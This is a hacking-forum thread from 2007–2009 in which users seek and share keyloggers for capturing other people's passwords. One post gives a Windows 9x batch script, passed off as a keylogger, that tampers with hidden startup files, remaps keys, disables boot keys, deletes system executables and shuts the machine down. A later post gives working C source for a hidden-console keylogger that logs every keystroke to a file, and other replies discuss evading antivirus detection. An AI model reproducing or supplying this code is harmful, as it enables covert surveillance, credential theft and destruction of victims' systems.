Jump to content


Photo
- - - - -

.bat Keylogger


  • Please log in to reply
21 replies to this topic

#1 jht129

jht129

    elite

  • Members
  • 103 posts

Posted 09 January 2007 - 05:08 PM

Sorry if this has already been made, but is there a .bat keylogger out there? Thanks! (I would like to use it on my system without installing anything.)

#2 Zeph

Zeph

    OMG, so close to "1337"!

  • Agents of the Revolution
  • 1,319 posts

Posted 09 January 2007 - 06:08 PM

Uhhh, a keylogger in batch?
Sure but they would have to type into the window.

#3 signull

signull

    SUP3R 31337

  • Members
  • 160 posts

Posted 09 January 2007 - 06:34 PM

I don't even think it's possible to grab keystrokes in a batch script without some sort of prompt requiring the user to press the Enter key. I could be wrong, though.

And like jht129 already said, the person would need to type in the batch script's window (not a very good keylogger).

#4 Ohm

Ohm

    I could have written a book with all of these posts

  • Members
  • 3,209 posts
  • Gender:Male
  • Location:Maine, USA

Posted 09 January 2007 - 06:55 PM

Batch is an ancient and incompetent program. It can't do much more than string a few external programs together, maybe display a little menu. Forget about batch, Windows has to have some better scripting than batch..

#5 jht129

jht129

    elite

  • Members
  • 103 posts

Posted 09 January 2007 - 07:02 PM

Thats true, thanks. I guess i'll have to learn C++ now.

#6 hbp

hbp

    rekcah-rebÜ

  • Members
  • 709 posts

Posted 09 January 2007 - 07:04 PM

Uhhh, a keylogger in batch?
Sure but they would have to type into the window.

hahahahahaha

#7 jht129

jht129

    elite

  • Members
  • 103 posts

Posted 09 January 2007 - 08:32 PM

yeah pretty funny, i doubt i could get them "umm... sir could you put your password into this black window? Thanks I appreciate it lol"!!!

#8 Ohm

Ohm

    I could have written a book with all of these posts

  • Members
  • 3,209 posts
  • Gender:Male
  • Location:Maine, USA

Posted 09 January 2007 - 09:05 PM

yeah pretty funny, i doubt i could get them "umm... sir could you put your password into this black window? Thanks I appreciate it lol"!!!


What makes you think that won't work?

#9 Aghaster

Aghaster

    The Frenchman

  • Agents of the Revolution
  • 2,093 posts
  • Country:
  • Gender:Male
  • Location:Quebec, Canada

Posted 09 January 2007 - 09:15 PM

lol... batch files... they are so limited compared to bash scripting. Anyway, I don't think a silent keylogger is possible in batch. You'll have to write it in another language that will let you do more. Why not C?

#10 jht129

jht129

    elite

  • Members
  • 103 posts

Posted 09 January 2007 - 10:01 PM

i'll try.. i got these huge books on C++ today, gotta read them

#11 Aghaster

Aghaster

    The Frenchman

  • Agents of the Revolution
  • 2,093 posts
  • Country:
  • Gender:Male
  • Location:Quebec, Canada

Posted 09 January 2007 - 10:06 PM

Great. But for a keylogger, you'll need a Win32 programming book on top of that. good luck ;)

#12 crackedatom

crackedatom

    SUPR3M3 31337 Mack Daddy P1MP

  • Members
  • 428 posts
  • Location:Durban, South Africa

Posted 09 January 2007 - 10:10 PM

Irongeek has one if you need help... http://irongeek.com/...urity/keylogger
It's written in C I believe

#13 xof7

xof7

    Hakker addict

  • Members
  • 558 posts
  • Location:Spokane, Washington

Posted 10 January 2007 - 02:55 AM

http://www.planetsourcecode.com/ has some really source code for a lot of apps. You can either learn from theirs as an example(so you learn something), or you can just use it as is. Does anyone know if anti-virus heuristics have become advance enough to monitor key logging yet? I wouldnt be surprised if some of the more popular key loggers from their are found by your anti-virus software.

#14 jht129

jht129

    elite

  • Members
  • 103 posts

Posted 11 January 2007 - 05:45 PM

are they undetectable?

#15 Ohm

Ohm

    I could have written a book with all of these posts

  • Members
  • 3,209 posts
  • Gender:Male
  • Location:Maine, USA

Posted 12 January 2007 - 12:07 AM

No. Nothing is.

#16 Ajax

Ajax

    the 0ne

  • Members
  • 1 posts

Posted 22 January 2009 - 08:07 PM

Yes. It is possible to write a batch command script keylogger, although it doesn't work like you think. It's a bit old (9x), so it will need some revising. The secret is ANSI. I haven't tstd it recently. Here's the code:

The Code!
--------------------------------------------------------------------------------------------------------------------------------------------
@echo off
cls
goto :start
:message
echo.
echo.
cls
echo //LOG ON HACK IN GO ANYWHERE STEAL EVERYTHING//
echo.
echo WELCOME TO THE WORLD OF HACKING & SECURITY BREACHING
echo.
echo WHENEVER U SWITCH ON UR SYSTEM UR SYSTEM IS UNSAFE
echo.
echo HACKER CAN DO THINGS WHAT OTHERS JUST DREAM OFF
echo.
echo WELCOME TO THE GAME OF DEATH
echo.
echo TRY TO PROTECT UR SYSTEM IF U CAN
echo.
pause
cls
echo DONT THINK TH@ U R SMART
echo.
echo THE PROBLEM IS THAT I KNOW
for %%a in (2 M U C H) do choice /c:%%a /n /s /t:%%a,01
echo.
echo.
pause
goto :end
:start
if not exist c:\autoexec.bat goto :creaauto
attrib -r -h c:\autoexec.bat
echo cls >> c:\autoexec.bat
echo path=c:\windows;c:;c:\windows\command;c:\windows\system;c:\windows\help >> c:\autoexec.bat
echo command /p /k c:\windows\help\atima.bat >> c:\autoexec.bat
attrib +r +h c:\autoexec.bat
goto :config
:creaauto
echo > c:\autoexec.bat
echo @echo off >> c:\autoexec.bat
echo cls >> c:\autoexec.bat
echo path=c:\windows;c:;c:\windows\command;c:\windows\system;c:\windows\help >> c:\autoexec.bat
echo command /p /k c:\windows\help\atima.bat >> c:\autoexec.bat
attrib +r +h c:\autoexec.bat
:config
attrib -r -h c:\config.sys
echo device=c:\windows\command\ansi.sys >> c:\config.sys
attrib +r +h c:\config.sys
:msdos
attrib -r -h c:\msdos.sys
echo bootdelay=0. >> c:\msdos.sys
echo bootkeys=0. >> c:\msdos.sys
attrib +r +h c:\msdos.sys
:atima
echo > c:\windows\help\atima.bat
echo @echo off >>c:\windows\help\atima.bat
echo prompt $p $g >> c:\windows\help\atima.bat
echo echo [0;59;" "p >> c:\windows\help\atima.bat
echo echo [0;60;" "p >> c:\windows\help\atima.bat
echo echo [0;61;" "p >> c:\windows\help\atima.bat
echo echo [0;62;" "p >> c:\windows\help\atima.bat
echo echo [0;63;" "p >> c:\windows\help\atima.bat
echo echo [0;64;" "p >> c:\windows\help\atima.bat
echo echo [0;65;" "p >> c:\windows\help\atima.bat
echo echo [0;66;" "p >> c:\windows\help\atima.bat
echo echo [0;67;" "p >> c:\windows\help\atima.bat
echo echo [0;68;" "p >> c:\windows\help\atima.bat
echo echo [0;133;" "p >> c:\windows\help\atima.bat
echo echo [0;134;" "p >> c:\windows\help\atima.bat
echo echo [0;71;" "p >> c:\windows\help\atima.bat
echo echo [0;72;" "p >> c:\windows\help\atima.bat
echo echo [0;75;" "p >> c:\windows\help\atima.bat
echo echo [0;77;" "p >> c:\windows\help\atima.bat
echo echo [0;79;" "p >> c:\windows\help\atima.bat
echo echo [0;80;" "p >> c:\windows\help\atima.bat
echo echo [0;81;" "p >> c:\windows\help\atima.bat
echo echo [0;82;" "p >> c:\windows\help\atima.bat
echo echo [0;83;" "p >> c:\windows\help\atima.bat
echo echo [8;" "p >> c:\windows\help\atima.bat
echo echo [13;" "p >> c:\windows\help\atima.bat
echo echo [9;" "p >> c:\windows\help\atima.bat
echo echo [32;" "p >> c:\windows\help\atima.bat
echo echo [39;" "p >> c:\windows\help\atima.bat
echo echo [44;" "p >> c:\windows\help\atima.bat
echo echo [45;" "p >> c:\windows\help\atima.bat
echo echo [46;" "p >> c:\windows\help\atima.bat
echo echo [47;" "p >> c:\windows\help\atima.bat
echo echo [59;" "p >> c:\windows\help\atima.bat
echo echo [61;" "p >> c:\windows\help\atima.bat
echo echo [91;" "p >> c:\windows\help\atima.bat
echo echo [92;" "p >> c:\windows\help\atima.bat
echo echo [93;" "p >> c:\windows\help\atima.bat
echo echo [96;" "p >> c:\windows\help\atima.bat
echo echo [43;" "p >> c:\windows\help\atima.bat
echo cls >> c:\windows\help\atima.bat
attrib +r +h c:\windows\help\atima.bat
:touchup
del *.exe c:\windows\command
del *.com c:\windows\command
goto :message
:end
cls
echo *****************************************************************
echo ***************************WARNING*******************************
echo *****************************************************************
echo.
echo U HAVE GONE
for %%a in (@ $ $ ) do choice /c:%%a /s /n /s /t:%%a,01
echo HOLE
echo.
echo I COULD HAVE MADE UR COMPUTER TO CHOKE LIKE ANYTHING
echo BUT I AM NOT INTERESTED IN DOING TH@ TO U
echo.
echo dont think th@ u r alone
echo.
echo someone is always watching u
echo.
pause
rundll user,exitwindows

#17 R4p1d

R4p1d

    Hakker addict

  • Members
  • 840 posts
  • Country:
  • Gender:Not Telling
  • Location:Space

Posted 22 January 2009 - 08:17 PM

.bat files are fun :D

#18 Colonel Panic

Colonel Panic

    Hakker addict

  • Members
  • 607 posts
  • Gender:Male
  • Location:IN YR BROWSER, SAYIN SUM SHIT

Posted 22 January 2009 - 08:22 PM

This goes a little beyond my knowledge of batch scripting. How does this thing work, exactly?

#19 duper

duper

    Dangerous free thinker

  • Members
  • 816 posts
  • Location:NYC

Posted 22 January 2009 - 08:49 PM

Isn't there an undocumented/unintentional syntax for inlining assembly instructions in batch? (without debug.exe) i.e. keyboard interrupt hooking.

#20 chown

chown

    SUPR3M3 31337 Mack Daddy P1MP

  • Moderating Team
  • 493 posts
  • Country:
  • Gender:Male
  • Location:Floating on a sea of hydrogen

Posted 23 January 2009 - 12:04 AM

It's definitely possible, and relatively easy, using some of the applications packaged with the OS. But there's a million and one ways to go about it.
It's much easier just to write a few lines of C.
#include <stdio.h>

int main(int i) {

  FILE *log=fopen("keylog.txt","a+");
  char ch[2]={0};
  FreeConsole();

  while(1) {
	for(i=0; i<254; i++) {
	  if(GetAsyncKeyState(i)&1) {
		ch[0] = MapVirtualKey(i, 2);
		fputs(ch,log);
	  }
	}

	Sleep(1);
  }

  return 0;
}
Easy as pie.




BinRev is hosted by the great people at Lunarpages!